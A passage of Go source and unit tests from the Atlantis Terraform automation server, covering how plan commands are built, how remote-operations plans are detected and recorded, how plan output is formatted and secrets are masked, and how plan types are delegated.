NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner) } func (p *planStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { tfDistribution := p.DefaultTFDistribution tfVersion := p.DefaultTFVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) planCmd := p.buildPlanCmd(ctx, extraArgs, path, tfVersion, planFile) output, err := p.TerraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), planCmd, envs, tfDistribution, tfVersion, ctx.Workspace) if p.isRemoteOpsErr(output, err) { ctx.Log.Debug("detected that this project is using TFE remote ops") return p.remotePlan(ctx, extraArgs, path, tfDistribution, tfVersion, planFile, envs) } if err != nil { return output, err } return p.fmtPlanOutput(output, tfVersion), nil } // isRemoteOpsErr returns true if there was an error caused due to this // project using TFE remote operations. func (p *planStepRunner) isRemoteOpsErr(output string, err error) bool { if err == nil { return false } return strings.Contains(output, remoteOpsErr110) || strings.Contains(output, remoteOpsErr01114) || strings.Contains(output, remoteOpsErr012) || strings.Contains(output, remoteOpsErr100) } // remotePlan runs a terraform plan command compatible with TFE remote // operations. func (p *planStepRunner) remotePlan(ctx command.ProjectContext, extraArgs []string, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, planFile string, envs map[string]string) (string, error) { argList := [][]string{ {"plan", "-input=false", "-refresh", "-no-color"}, extraArgs, ctx.EscapedCommentArgs, } args := p.flatten(argList) output, err := p.runRemotePlan(ctx, args, path, tfDistribution, tfVersion, envs) if err != nil { return output, err } // If using remote ops, we create our own "fake" planfile with the // text output of the plan. We do this for two reasons: // 1) Atlantis relies on there being a planfile on disk to detect which // projects have outstanding plans. // 2) Remote ops don't support the -out parameter so we can't save the // plan. To ensure that what gets applied is the plan we printed to the PR, // during the apply phase, we diff the output we stored in the fake // planfile with the pending apply output. planOutput := StripRefreshingFromPlanOutput(output, tfVersion) // We also prepend our own remote ops header to the file so during apply we // know this is a remote apply. err = os.WriteFile(planFile, []byte(remoteOpsHeader+planOutput), 0600) if err != nil { return output, fmt.Errorf("unable to create planfile for remote ops: %w", err) } return p.fmtPlanOutput(output, tfVersion), nil } func (p *planStepRunner) buildPlanCmd(ctx command.ProjectContext, extraArgs []string, path string, tfVersion *version.Version, planFile string) []string { tfVars := p.tfVars(ctx, tfVersion) // Check if env/{workspace}.tfvars exist and include it. This is a use-case // from Hootsuite where Atlantis was first created so we're keeping this as // an homage and a favor so they don't need to refactor all their repos. // It's also a nice way to structure your repos to reduce duplication. var envFileArgs []string envFile := filepath.Join(path, "env", ctx.Workspace+".tfvars") if _, err := os.Stat(envFile); err == nil { envFileArgs = []string{"-var-file", envFile} } argList := [][]string{ // NOTE: we need to quote the plan filename because Bitbucket Server can // have spaces in its repo owner names. {"plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", planFile)}, tfVars, extraArgs, ctx.EscapedCommentArgs, envFileArgs, } return p.flatten(argList) } // tfVars returns a list of "-var", "key=value" pairs that identify who and which // repo this command is running for. This can be used for naming the // session name in AWS which will identify in CloudTrail the source of // Atlantis API calls. // If using Terraform >= 0.12 we don't set any of these variables because // those versions don't allow setting -var flags for any variables that aren't // actually used in the configuration. Since there's no way for us to detect // if the configuration is using those variables, we don't set them. func (p *planStepRunner) tfVars(ctx command.ProjectContext, tfVersion *version.Version) []string { if tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion("0.12.0"))) { return nil } // NOTE: not using maps and looping here because we need to keep the // ordering for testing purposes. // NOTE: quoting the values because in Bitbucket the owner can have // spaces, ex -var atlantis_repo_owner="bitbucket owner". return []string{ "-var", fmt.Sprintf("%s=%q", "atlantis_user", ctx.User.Username), "-var", fmt.Sprintf("%s=%q", "atlantis_repo", ctx.BaseRepo.FullName), "-var", fmt.Sprintf("%s=%q", "atlantis_repo_name", ctx.BaseRepo.Name), "-var", fmt.Sprintf("%s=%q", "atlantis_repo_owner", ctx.BaseRepo.Owner), "-var", fmt.Sprintf("%s=%d", "atlantis_pull_num", ctx.Pull.Num), } } func (p *planStepRunner) flatten(slices [][]string) []string { var flattened []string for _, v := range slices { flattened = append(flattened, v...) } return flattened } // fmtPlanOutput uses regex's to remove any leading whitespace in front of the // terraform output so that the diff syntax highlighting works. Example: // " - aws_security_group_rule.allow_all" => // "- aws_security_group_rule.allow_all" // We do it for +, ~ and -. // It also removes the "Refreshing..." preamble. func (p *planStepRunner) fmtPlanOutput(output string, tfVersion *version.Version) string { output = StripRefreshingFromPlanOutput(output, tfVersion) output = plusDiffRegex.ReplaceAllString(output, "+") output = tildeDiffRegex.ReplaceAllString(output, "~") return minusDiffRegex.ReplaceAllString(output, "-") } // runRemotePlan runs a terraform command that utilizes the remote operations // backend. It watches the command output for the run url to be printed, and // then updates the commit status with a link to the run url. // The run url is a link to the Terraform Enterprise UI where the output // from the in-progress command can be viewed. // cmdArgs is the args to terraform to execute. // path is the path to where we need to execute. func (p *planStepRunner) runRemotePlan( ctx command.ProjectContext, cmdArgs []string, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, envs map[string]string) (string, error) { // updateStatusF will update the commit status and log any error. updateStatusF := func(status models.CommitStatus, url string) { if err := p.CommitStatusUpdater.UpdateProject(ctx, command.Plan, status, url, nil); err != nil { ctx.Log.Err("unable to update status: %s", err) } } // Start the async command execution. ctx.Log.Debug("starting async tf remote operation") _, outCh := p.AsyncTFExec.RunCommandAsync(ctx, filepath.Clean(path), cmdArgs, envs, tfDistribution, tfVersion, ctx.Workspace) var lines []string nextLineIsRunURL := false var runURL string var err error for line := range outCh { if line.Err != nil { err = line.Err break } lines = append(lines, line.Line) // Here we're checking for the run url and updating the status // if found. if line.Line == lineBeforeRunURL { nextLineIsRunURL = true } else if nextLineIsRunURL { runURL = strings.TrimSpace(line.Line) ctx.Log.Debug("remote run url found, updating commit status") updateStatusF(models.PendingCommitStatus, runURL) nextLineIsRunURL = false } } ctx.Log.Debug("async tf remote operation complete") output := strings.Join(lines, "\n") if err != nil { updateStatusF(models.FailedCommitStatus, runURL) } else { updateStatusF(models.SuccessCommitStatus, runURL) } return output, err } func StripRefreshingFromPlanOutput(output string, tfVersion *version.Version) string { if tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion("0.14.0"))) { // Plan output contains a lot of "Refreshing..." lines, remove it lines := strings.Split(output, "\n") finalIndex := 0 for i, line := range lines { if strings.Contains(line, refreshKeyword) { finalIndex = i } } if finalIndex != 0 { output = strings.Join(lines[finalIndex+1:], "\n") } } else { // Plan output contains a lot of "Refreshing..." lines followed by a // separator. We want to remove everything before that separator. sepIdx := strings.Index(output, refreshSeparator) if sepIdx > -1 { output = output[sepIdx+len(refreshSeparator):] } } return output } func FilterRegexFromPlanOutput(output string, filterRegex *regexp.Regexp) string { if filterRegex == nil { return output } return filterRegex.ReplaceAllString(output, "${1}$2") } // remoteOpsErr01114 is the error terraform plan will return if this project is // using TFE remote operations in TF 0.11.15. var remoteOpsErr01114 = `Error: Saving a generated plan is currently not supported! The "remote" backend does not support saving the generated execution plan locally at this time. ` // remoteOpsErr012 is the error terraform plan will return if this project is // using TFE remote operations in TF 0.12.{0-4}. Later versions haven't been // released yet at this time. var remoteOpsErr012 = `Error: Saving a generated plan is currently not supported The "remote" backend does not support saving the generated execution plan locally at this time. ` // remoteOpsErr100 is the error terraform plan will return if this project is // using TFE remote operations in TF 1.0.{0,1}. var remoteOpsErr100 = `Error: Saving a generated plan is currently not supported The "remote" backend does not support saving the generated execution plan locally at this time. ` // remoteOpsErr110 is the error terraform plan will return if this project is // using Terraform Cloud remote operations in TF 1.1.0 and above // note: the trailing whitespace is intentional var remoteOpsErr110 = `╷ │ Error: Saving a generated plan is currently not supported │ │ Terraform Cloud does not support saving the generated execution plan │ locally at this time. ╵ ` // remoteOpsHeader is the header we add to the planfile if this plan was // generated using TFE remote operations. var remoteOpsHeader = "Atlantis: this plan was created by remote ops\n" ================================================ FILE: server/core/runtime/plan_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "errors" "fmt" "os" "path/filepath" "regexp" "strings" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime" runtimemocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestRun_AddsEnvVarFile(t *testing.T) { // Test that if env/workspace.tfvars file exists we use -var-file option. RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() // Create the env/workspace.tfvars file. tmpDir := t.TempDir() err := os.MkdirAll(filepath.Join(tmpDir, "env"), 0700) Ok(t, err) envVarsFile := filepath.Join(tmpDir, "env/workspace.tfvars") err = os.WriteFile(envVarsFile, nil, 0600) Ok(t, err) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) // Using version >= 0.10 here so we don't expect any env commands. tfVersion, _ := version.NewVersion("0.10.0") logger := logging.NewNoopLogger(t) s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) expPlanArgs := []string{"plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", filepath.Join(tmpDir, "workspace.tfplan")), "-var", "atlantis_user=\"username\"", "-var", "atlantis_repo=\"owner/repo\"", "-var", "atlantis_repo_name=\"repo\"", "-var", "atlantis_repo_owner=\"owner\"", "-var", "atlantis_pull_num=2", "extra", "args", "comment", "args", "-var-file", envVarsFile, } ctx := command.ProjectContext{ Log: logger, Workspace: "workspace", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } When(terraform.RunCommandWithVersion(ctx, tmpDir, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("output", nil) output, err := s.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) // Verify that env select was never called since we're in version >= 0.10 terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, tmpDir, []string{"env", "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, "workspace") terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") Equals(t, "output", output) } func TestRun_UsesDiffPathForProject(t *testing.T) { // Test that if running for a project, uses a different path for the plan // file. RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.10.0") logger := logging.NewNoopLogger(t) s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } When(terraform.RunCommandWithVersion(ctx, "/path", []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("workspace\n", nil) expPlanArgs := []string{"plan", "-input=false", "-refresh", "-out", "\"/path/projectname-default.tfplan\"", "-var", "atlantis_user=\"username\"", "-var", "atlantis_repo=\"owner/repo\"", "-var", "atlantis_repo_name=\"repo\"", "-var", "atlantis_repo_owner=\"owner\"", "-var", "atlantis_pull_num=2", "extra", "args", "comment", "args", } When(terraform.RunCommandWithVersion(ctx, "/path", expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "default")).ThenReturn("output", nil) output, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) Equals(t, "output", output) } // Test that we format the plan output for better rendering. func TestRun_PlanFmt(t *testing.T) { rawOutput := `Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. ------------------------------------------------------------------------ An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: + create ~ update in-place - destroy Terraform will perform the following actions: + null_resource.test[0] id: + null_resource.test[1] id: ~ aws_security_group_rule.allow_all description: "" => "test3" - aws_security_group_rule.allow_all ` RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.10.0") s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) When(terraform.RunCommandWithVersion( Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). Then(func(params []Param) ReturnValues { // This code allows us to return different values depending on the // tf command being run while still using the wildcard matchers above. tfArgs := params[2].([]string) if stringSliceEquals(tfArgs, []string{"workspace", "show"}) { return []ReturnValue{"default", nil} } else if tfArgs[0] == "plan" { return []ReturnValue{rawOutput, nil} } return []ReturnValue{"", errors.New("unexpected call to RunCommandWithVersion")} }) actOutput, err := s.Run(command.ProjectContext{Workspace: "default"}, nil, "", map[string]string(nil)) Ok(t, err) Equals(t, ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: + create ~ update in-place - destroy Terraform will perform the following actions: + null_resource.test[0] id: + null_resource.test[1] id: ~ aws_security_group_rule.allow_all description: "" => "test3" - aws_security_group_rule.allow_all `, actOutput) } // Test that even if there's an error, we get the returned output. func TestRun_OutputOnErr(t *testing.T) { RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.10.0") s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) expOutput := "expected output" expErrMsg := "error!" When(terraform.RunCommandWithVersion( Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). Then(func(params []Param) ReturnValues { // This code allows us to return different values depending on the // tf command being run while still using the wildcard matchers above. tfArgs := params[2].([]string) if stringSliceEquals(tfArgs, []string{"workspace", "show"}) { return []ReturnValue{"default\n", nil} } else if tfArgs[0] == "plan" { return []ReturnValue{expOutput, errors.New(expErrMsg)} } return []ReturnValue{"", errors.New("unexpected call to RunCommandWithVersion")} }) actOutput, actErr := s.Run(command.ProjectContext{Workspace: "default"}, nil, "", map[string]string(nil)) ErrEquals(t, expErrMsg, actErr) Equals(t, expOutput, actOutput) } // Test that if we're using 0.12, we don't set the optional -var atlantis_repo_name // flags because in >= 0.12 you can't set -var flags if those variables aren't // being used. func TestRun_NoOptionalVarsIn012(t *testing.T) { RegisterMockTestingT(t) expPlanArgs := []string{ "plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", "/path/default.tfplan"), "extra", "args", "comment", "args", } cases := []struct { name string tfVersion string }{ { "stable version", "0.12.0", }, { "with prerelease", "0.14.0-rc1", }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() When(terraform.RunCommandWithVersion( Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).ThenReturn("output", nil) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion(c.tfVersion) s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) ctx := command.ProjectContext{ Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } output, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) Equals(t, "output", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "default") }) } } // Test plans if using remote ops. func TestRun_RemoteOps(t *testing.T) { cases := []struct { name string tfVersion string remoteOpsErr string }{ { name: "0.11.15 error", tfVersion: "0.11.15", remoteOpsErr: `Error: Saving a generated plan is currently not supported! The "remote" backend does not support saving the generated execution plan locally at this time. `, }, { name: "0.12.* error", tfVersion: "0.12.0", remoteOpsErr: `Error: Saving a generated plan is currently not supported The "remote" backend does not support saving the generated execution plan locally at this time. `, }, { name: "1.1.0 error", tfVersion: "1.1.0", remoteOpsErr: `╷ │ Error: Saving a generated plan is currently not supported │ │ Terraform Cloud does not support saving the generated execution plan │ locally at this time. ╵ `, }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { logger := logging.NewNoopLogger(t) // Now that mocking is set up, we're ready to run the plan. ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion(c.tfVersion) asyncTf := &remotePlanMock{} s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTf) absProjectPath := t.TempDir() // First, terraform workspace gets run. When(terraform.RunCommandWithVersion( ctx, absProjectPath, []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "default")).ThenReturn("default\n", nil) // Then the first call to terraform plan should return the remote ops error. expPlanArgs := []string{"plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", filepath.Join(absProjectPath, "default.tfplan")), "-var", "atlantis_user=\"username\"", "-var", "atlantis_repo=\"owner/repo\"", "-var", "atlantis_repo_name=\"repo\"", "-var", "atlantis_repo_owner=\"owner\"", "-var", "atlantis_pull_num=2", "extra", "args", "comment", "args", } if tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion("0.12.0"))) { expPlanArgs = []string{"plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", filepath.Join(absProjectPath, "default.tfplan")), "extra", "args", "comment", "args", } } planErr := errors.New("exit status 1: err") planOutput := "\n" + c.remoteOpsErr asyncTf.LinesToSend = remotePlanOutput When(terraform.RunCommandWithVersion(ctx, absProjectPath, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, "default")). ThenReturn(planOutput, planErr) output, err := s.Run(ctx, []string{"extra", "args"}, absProjectPath, map[string]string(nil)) Ok(t, err) Assert(t, strings.Contains(output, ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`), "expect plan success") expRemotePlanArgs := []string{"plan", "-input=false", "-refresh", "-no-color", "extra", "args", "comment", "args"} Equals(t, expRemotePlanArgs, asyncTf.CalledArgs) // Verify that the fake plan file we write has the correct contents. bytes, err := os.ReadFile(filepath.Join(absProjectPath, "default.tfplan")) Ok(t, err) Assert(t, strings.HasPrefix(string(bytes), "Atlantis: this plan was created by remote ops"), "expect remote plan") // Ensure that the status was updated with the runURL. runURL := "https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE" commitStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.PendingCommitStatus, runURL, nil) commitStatusUpdater.VerifyWasCalledOnce().UpdateProject(ctx, command.Plan, models.SuccessCommitStatus, runURL, nil) }) } } // Test striping output method func TestStripRefreshingFromPlanOutput(t *testing.T) { tfVersion0135, _ := version.NewVersion("0.13.5") tfVersion0140, _ := version.NewVersion("0.14.0") cases := []struct { out string tfVersion *version.Version }{ { remotePlanOutput, tfVersion0135, }, { `Running plan in the remote backend. Output will stream here. Pressing Ctrl-C will stop streaming the logs, but will not stop the plan running remotely. Preparing the remote plan... To view this run in a browser, visit: https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE Waiting for the plan to start... Terraform v0.14.0 Configuring remote state backend... Initializing Terraform configuration... 2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.14.0TFE/202eeff Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. null_resource.hi: Refreshing state... (ID: 217661332516885645) null_resource.hi[1]: Refreshing state... (ID: 6064510335076839362) An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`, tfVersion0140, }, } for _, c := range cases { output := runtime.StripRefreshingFromPlanOutput(c.out, c.tfVersion) Equals(t, ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.`, output) } } func TestPlanStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) { RegisterMockTestingT(t) expPlanArgs := []string{ "plan", "-input=false", "-refresh", "-out", fmt.Sprintf("%q", "/path/default.tfplan"), "extra", "args", "comment", "args", } cases := []struct { name string tfVersion string tfDistribution string }{ { "stable version", "0.12.0", "terraform", }, { "with prerelease", "0.14.0-rc1", "opentofu", }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() commitStatusUpdater := runtimemocks.NewMockStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() When(terraform.RunCommandWithVersion( Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).ThenReturn("output", nil) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion(c.tfVersion) s := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec) ctx := command.ProjectContext{ Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, TerraformDistribution: &c.tfDistribution, } output, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) Equals(t, "output", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq("/path"), Eq(expPlanArgs), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("default")) }) } } func TestFilterRegexFromPlanOutput(t *testing.T) { cases := []struct { in string regex *regexp.Regexp expectedResult string }{ { "foobar", regexp.MustCompile("f"), "oobar", }, { "foobar", regexp.MustCompile("(f)"), "foobar", }, { "foobar", regexp.MustCompile("(f)oo(bar)"), "fbar", }, { remotePlanOutput, nil, remotePlanOutput, }, { remotePlanOutputSensitive, regexp.MustCompile(`((?i)secret:\s")[^"]*`), remotePlanOutputSensitiveMasked, }, } for _, c := range cases { output := runtime.FilterRegexFromPlanOutput(c.in, c.regex) Equals(t, c.expectedResult, output) } } type remotePlanMock struct { // LinesToSend will be sent on the channel. LinesToSend string // CalledArgs is what args we were called with. CalledArgs []string } func (r *remotePlanMock) RunCommandAsync(_ command.ProjectContext, _ string, args []string, _ map[string]string, _ tf.Distribution, _ *version.Version, _ string) (chan<- string, <-chan runtimemodels.Line) { r.CalledArgs = args in := make(chan string) out := make(chan runtimemodels.Line) go func() { for line := range strings.SplitSeq(r.LinesToSend, "\n") { out <- runtimemodels.Line{Line: line} } close(out) close(in) }() return in, out } func stringSliceEquals(a, b []string) bool { if len(a) != len(b) { return false } for i, v := range a { if v != b[i] { return false } } return true } var remotePlanOutput = `Running plan in the remote backend. Output will stream here. Pressing Ctrl-C will stop streaming the logs, but will not stop the plan running remotely. Preparing the remote plan... To view this run in a browser, visit: https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test/runs/run-is4oVvJfrkud1KvE Waiting for the plan to start... Terraform v0.11.11 Configuring remote state backend... Initializing Terraform configuration... 2019/02/20 22:40:52 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/202eeff Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. null_resource.hi: Refreshing state... (ID: 217661332516885645) null_resource.hi[1]: Refreshing state... (ID: 6064510335076839362) ------------------------------------------------------------------------ An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.` var remotePlanOutputSensitive = `Terraform will perform the following actions: # kubectl_manifest.test[0] will be updated in-place ! resource "kubectl_manifest" "test" { id = "/apis/argoproj.io/v1alpha1/namespaces/test/applications/test" name = "test" ! yaml_body = (sensitive value) ! yaml_body_parsed = <<-EOT apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: test namespace: test spec: destination: namespace: test server: https://kubernetes.default.svc project: default source: helm: values: |- - clientID: "test_id" - clientSecret: "super_secret_old" + clientID: "test_id" + clientSecret: "super_secret_new" EOT } Plan: 0 to add, 1 to change, 0 to destroy.` var remotePlanOutputSensitiveMasked = `Terraform will perform the following actions: # kubectl_manifest.test[0] will be updated in-place ! resource "kubectl_manifest" "test" { id = "/apis/argoproj.io/v1alpha1/namespaces/test/applications/test" name = "test" ! yaml_body = (sensitive value) ! yaml_body_parsed = <<-EOT apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: test namespace: test spec: destination: namespace: test server: https://kubernetes.default.svc project: default source: helm: values: |- - clientID: "test_id" - clientSecret: "" + clientID: "test_id" + clientSecret: "" EOT } Plan: 0 to add, 1 to change, 0 to destroy.` ================================================ FILE: server/core/runtime/plan_type_step_runner_delegate.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "path/filepath" "github.com/runatlantis/atlantis/server/events/command" ) func NewPlanTypeStepRunnerDelegate(defaultRunner Runner, remotePlanRunner Runner) Runner { return &planTypeStepRunnerDelegate{ defaultRunner: defaultRunner, remotePlanRunner: remotePlanRunner, } } // planTypeStepRunnerDelegate delegates based on the type of plan, ie. remote backend which doesn't support certain functions type planTypeStepRunnerDelegate struct { defaultRunner Runner remotePlanRunner Runner } func (p *planTypeStepRunnerDelegate) isRemotePlan(planFile string) (bool, error) { data, err := os.ReadFile(planFile) if err != nil { return false, fmt.Errorf("unable to read %s: %w", planFile, err) } return IsRemotePlan(data), nil } func (p *planTypeStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) remotePlan, err := p.isRemotePlan(planFile) if err != nil { return "", err } if remotePlan { return p.remotePlanRunner.Run(ctx, extraArgs, path, envs) } return p.defaultRunner.Run(ctx, extraArgs, path, envs) } ================================================ FILE: server/core/runtime/plan_type_step_runner_delegate_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "os" "path/filepath" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" . "github.com/runatlantis/atlantis/testing" "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/events/command" ) var planFileContents = ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.` func TestRunDelegate(t *testing.T) { RegisterMockTestingT(t) mockDefaultRunner := mocks.NewMockRunner() mockRemoteRunner := mocks.NewMockRunner() subject := &planTypeStepRunnerDelegate{ defaultRunner: mockDefaultRunner, remotePlanRunner: mockRemoteRunner, } tfVersion, _ := version.NewVersion("0.12.0") t.Run("Remote Runner Success", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", 